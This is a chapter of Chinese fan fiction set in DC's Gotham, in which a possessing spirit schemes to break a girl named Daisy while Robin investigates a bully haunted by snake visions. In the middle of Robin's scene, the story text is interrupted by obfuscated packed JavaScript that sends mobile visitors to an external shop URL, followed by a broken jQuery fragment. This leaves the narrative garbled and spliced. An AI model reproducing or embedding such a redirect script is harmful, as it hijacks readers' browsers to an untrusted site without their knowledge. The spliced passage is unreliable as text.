夺取身体后如何活在这个新的世界?

    祂尚未能够将毁约的家伙从那具躯壳赶走,但是已经开始思考起这之后的问题。

    圣职者是需要首先关注的麻烦。至于其他的?哼,什么能成为祂的麻烦?

    祂在这个被叫做黛西的姑娘身上踩了块石头,不过这具身体迟早会在祂的控制之下。

    剥离她的关系、打压她的心智、摧毁她的意志。直到她丧失求生欲,心甘情愿献出身体。

    跟随着这个把自己错认为亡母的蠢姑娘,祂无视对方在僻静无人之时几次三番地请求沟通,亦没有给出任何信息否认所谓的亡母身份。

    祂跟着黛西这段时间,大概摸清了这蠢姑娘的情况。

    她身边没有父亲或者其他男性长辈,母亲已亡,如今是和姨妈住在一起。

    这个世界的生活和祂所在的地方完全不一样。

    “你可以住更大更结实的房子,吃黄油面包而不是这种又腥又臭的鱼干,还能穿漂亮的裙子……”

    曾经有人曾这样许诺祂。

    这里的房子非常结实,不会被猛烈海风吹得摇摇欲坠。这里的人不会每餐只能吃鱼。这里的姑娘穿着干净漂亮的衣服。

    陆地广袤而坚实,精美的石雕装点着坚固又高得不可思议的屋舍。

    这就是岛屿之外的世界。

    但是这里的男人一样会欺负女人,这里的人同样恃强凌弱。

    黛西属于是被欺负的那一类。就算是这样,她住的房子、她吃的食物、她穿的衣服……所有东西都比曾经的祂好得多。

    时间过了太久,久到祂已经快要忘记活着的感觉了。

    这里有结实的大房子、黄油面包和漂亮的裙子,以及会哼唱歌曲和讲故事的神奇盒子。

    如果能够再次活着,一定能唤起对这些美妙存在的渴望吧?

    而不是像现在一样,哪怕这些东西摆在那里,再也感知不到的渴望也如同沉入水底的石子,纹丝不动,冰冷彻骨。

    唯有那具躯壳的温暖,身处其中的沉重与温暖,才能让祂感到满足。

    所以那个长着一张骗子脸的男孩可真碍眼啊。

    笑容轻浮地靠近,试图获取祂想要的这具躯体的信任。

    看似在聊其他事情,其实根本就是想要打探消息吧!关于那天那几个蠢货是怎么被自己吓得屁滚尿流的,不知道是他该死的好奇心,又或者他是圣职者的眼线。

    而且蠢姑娘竟然态度松动了!

    “……比起服务员,还是家庭教师更轻松一些吧?薪水也更稳定。”

    这个金发绿眼睛的蠢姑娘慢慢转过身,眼睛慢慢地眨着,似乎在思考些什么。

    祂试图对她施加力量,亡灵与现实的壁垒让她的能力落空。

    得找个什么媒介,或者容易被神秘影响的人……

    探出感知,祂被一处阴影的气息吸引。

    图书管理员托特正悄悄看着兼职生黛西和男学生聊天。

    他内心充斥着妒恨与不满,就如同他多数清醒的时间那样。

    拥有一副好相貌,还被韦恩那个傻乎乎的阔佬收养。那个男孩可真是好运得令人恶心啊。

    就是这样什么都拥有的家伙,女人才愿意接近。看吧,女学生也是女人呢,这些势利眼的**

    他在心里咒骂。

    托特的影子晃了晃。

    多数时候,托特只是这样内心愤愤不平,然后佝偻着老腰,缩在报纸后面诅咒着这些年轻且富有生命力的学生。

    他会猜测他们私下里如何不堪,或许格雷森那小子会偷他养父的钱去吸粉,嘿,最好他偷钱被发现了然后被赶出家门!

    聊以自慰的猜测也总能扭曲地安抚他的心情。

    但是今天这股无名怒火却无论如何也无法压下。他几乎要跳起来,指着理查德·格雷森这个过于好运的臭小子的鼻子骂个痛快。

    不行,那是韦恩的养子,他的父亲给学校捐过不少款,自己可不想丢工作。

    他的视线转移到了黛西身上。

    恶心的家伙。

    这浓稠的恶意让祂都感觉到不适。但祂的确通过这家伙的负面情绪暂时有了更多干预现实的力量。

    祂凝聚阴影,对准蓝眼睛男孩的眉心。

    *

    夜晚,罗宾落在一个不起眼的窗台,如同一只轻灵的鸟。

    玻璃窗户内是一层百叶窗,遮挡住了房间内部的空间。

    罗宾轻轻拨开窗户锁扣,覆盖了手套纤维的两指挑开窗叶,刚刚好露出一只眼睛的宽度。

    他向内望去,良好的夜间视力让他在昏暗的光线下也能大概看清屋内的格局。

    窗户正对着书桌,单人床贴着靠窗的墙壁,地板颜色深浅不均。

    房间内寂静无声。

    罗宾推开窗户跳了进来。

    进入房间他才发现,深色地板上撒了一层盐,所以才是这样看起来不均匀的颜色。

    盐,除了食用的用途,在流传广泛的巫术传说中,往往有辟邪的功能。

    单人床上盖着一层被子,遮住了床头一个拱起来的、诡异摇晃的大块头。

    罗宾放轻脚步走近,一股骚味袭来,让他想要捂住鼻子。

    他顿了顿,出声:“埃里克·格林?”

    被子下的大块头抖了抖。

    罗宾小心地靠近,伸手去拉被子:“你这是怎么——咦呃……”

    他受不了地后退两步,打开了手里的灯。

    “罗、罗宾?”

    吓尿了的埃里克苍白着脸,缩在床头。

    “发生什么了?”

    “罗宾!罗宾!”埃里克似乎想要起身,却失去平衡点下了床,他似乎并不在意这点,而是赶紧伸手抓向罗宾的腿。

    罗宾被他这幅样子惊得后退两步:“嘿,老兄,冷静点。你看,我就是来调查这件事的,我会帮你解决问题,和我说说发生了什么?”

    迪克不是很想回忆埃里克挺着那张糊满了鼻涕和眼泪的脸如何向他诉说自己的恐惧。比如被无数条蛇缠住,比如被迫吞下一条蛇,又比如总是莫名在房间里出现的蛇影。

    这家伙趁自己不注意还是成功抓住了他的小腿,恐惧颤栗着不让他离开。

    罗宾只好打晕了他。

    还好心帮他把弄脏的床单塞进了洗衣机。

    离开埃里克的房间,借着钩锁,罗宾在夜空中飞跃。

    从蝙蝠侠身边暂时离开了一会儿。赶回去汇合的路上,夜风吹开他额前的发丝,熟悉的夜景被一片片落在在身后。

    头脑逐渐清醒,迪克心情稍微沉了一些。

    对埃里克造成影响的……恐怕不是什么好东西。

    或许还要考虑到埃里克戒毒期的不良反应——发现学校里有人吸大·麻的那天,罗宾就已经和蝙蝠侠同步了信息,他们成功拔掉了一伙向学校贩卖毒品、小规模且隐蔽的毒贩——但给埃里克、给那天那些人造成恐惧的东西,很可能是实际存在的。

    成群的蛇。

    钻入腹中的蛇。

    房间里出现的蛇影。

    重复出现的元素令迪克警觉。

    不是随机的幻觉。可能某种媒介的心理干预手段。又或者魔法?诅咒?

    那天埃里克他们成群结伙去欺负黛西,被那东西恐吓走了。

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17756741|209525||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    看起来是帮了黛西的忙。

    但是带给他人极端恐惧的东西,恐怕还有其他危险吧?

    黛西知道那东西的存在吗?

    罗宾停在了一栋高楼的滴水兽石雕上。

    他拿出通讯,给渡鸦发了一条信息。

    *

    黛西像扔书包一样,把自己扔在沙发上。

    她从前可不会做这么粗鲁的行为。

    “这个动作可不太淑女,我的小雏菊。”

    母亲略带沙哑的冷静音色在脑海里响起。

    那是来自记忆中的声音,如同隔着水面一样虚幻。双耳真正捕捉到的,只有窗外树枝被风吹得沙沙响的声音。

    一滴泪珠从眼角滑落。

    黛西猛然一下坐直了。

    放任自己的情绪很危险,如同走在钢丝上的杂技演员丢掉了他的平衡杆。

    梅拉尼姨妈随时会回来,姨妈收养自己已经增加了不少开支,她不能让自己的负面情绪影响对方。

    不管那天在美术室到底发生了什么,从这段时间的沉寂来看,自己是得不到任何回应了。

    是母亲的守护也好,是其他原因也好。按照母亲的期望,她应该好好生活,比如说维持成绩,以及尽量给大学攒学费。

    她需要向前看。

    钥匙插进门锁的声音响起,黛西差点弹起来,但很快又坐好。

    现在把书包放回房间也来不及了。

    梅拉妮有一头和黛西母女完全不一样的棕发,作为妹妹,她的眼睛长得很像黛西的母亲,但眼神更圆钝,透着股不够精明的暖和感。

    “黛西,”她看到沙发上的侄女,疲惫的脸绽出一个笑容。那双眼睛扫过沙发,很快注意到沙发上的书包:“……你刚刚回来吗?”

    黛西赶紧解释:“我找了份家教的工作,不是在月亮湖工作到这么晚的,月亮湖那边我明天就去辞职。”

    “家教?”

    “对,我同学推荐的,是给同学的亲戚做家教,很安全。”

    “家教需要到这么晚吗?黛西,哥谭从来不是一座安全的城市,如果你是担心大学学费——”梅拉妮的表情变来变去,似乎在一边忍住皱眉,一边纠结用什么态度来和黛西说这些话。

    黛西有点不耐烦。

    或许是继承自母亲的高傲,她不太能接受自己一眼看穿的人试图说教自己。

    就算梅拉妮姨妈的学费是黛西母亲替她出的,姨妈愿意收养自己,也承受了额外的压力。她本可以让黛西沦落到孤儿院。忘恩负义在这座城市从来不算什么。何况梅拉尼很照顾自己。

    黛西希望自己心里有对梅拉妮的基本尊敬。

    但是这种烦躁的、看穿了对方却不得不忍耐的时刻让这份尊重总是在碎裂的边缘。

    而且她讨厌解释。

    如果是妈妈,肯定会相信她聪明到足以做好风险控制。

    ……嗯,在月亮湖惹上埃里克·格林是个意外。这种专门招未成年漂亮女服务员、制服几乎在擦边边缘的餐厅就像牛粪一样容易吸引苍蝇。

    所以她主动去找了查理·布朗,获得了那份家教的工作。这得感谢格雷森。

    客厅昏暗的灯光把影子拖得很长,躲在阴影里的存在感受着黛西的负面情绪,露出了没人看得见的愉悦笑容。

    祂不是没想过,弄死那个棕发的年长者,黛西可能就会崩溃到失去求生欲了。

    在这个世界待了这些天,祂也渐渐发现,此处似乎没有昔日那种真正拥有祷祝力量的圣职者了。

    那么或许不用太着急。催化那些可以被喂食给阴影的情绪,看着这朵雏菊一点点崩溃,一定会更加有趣吧。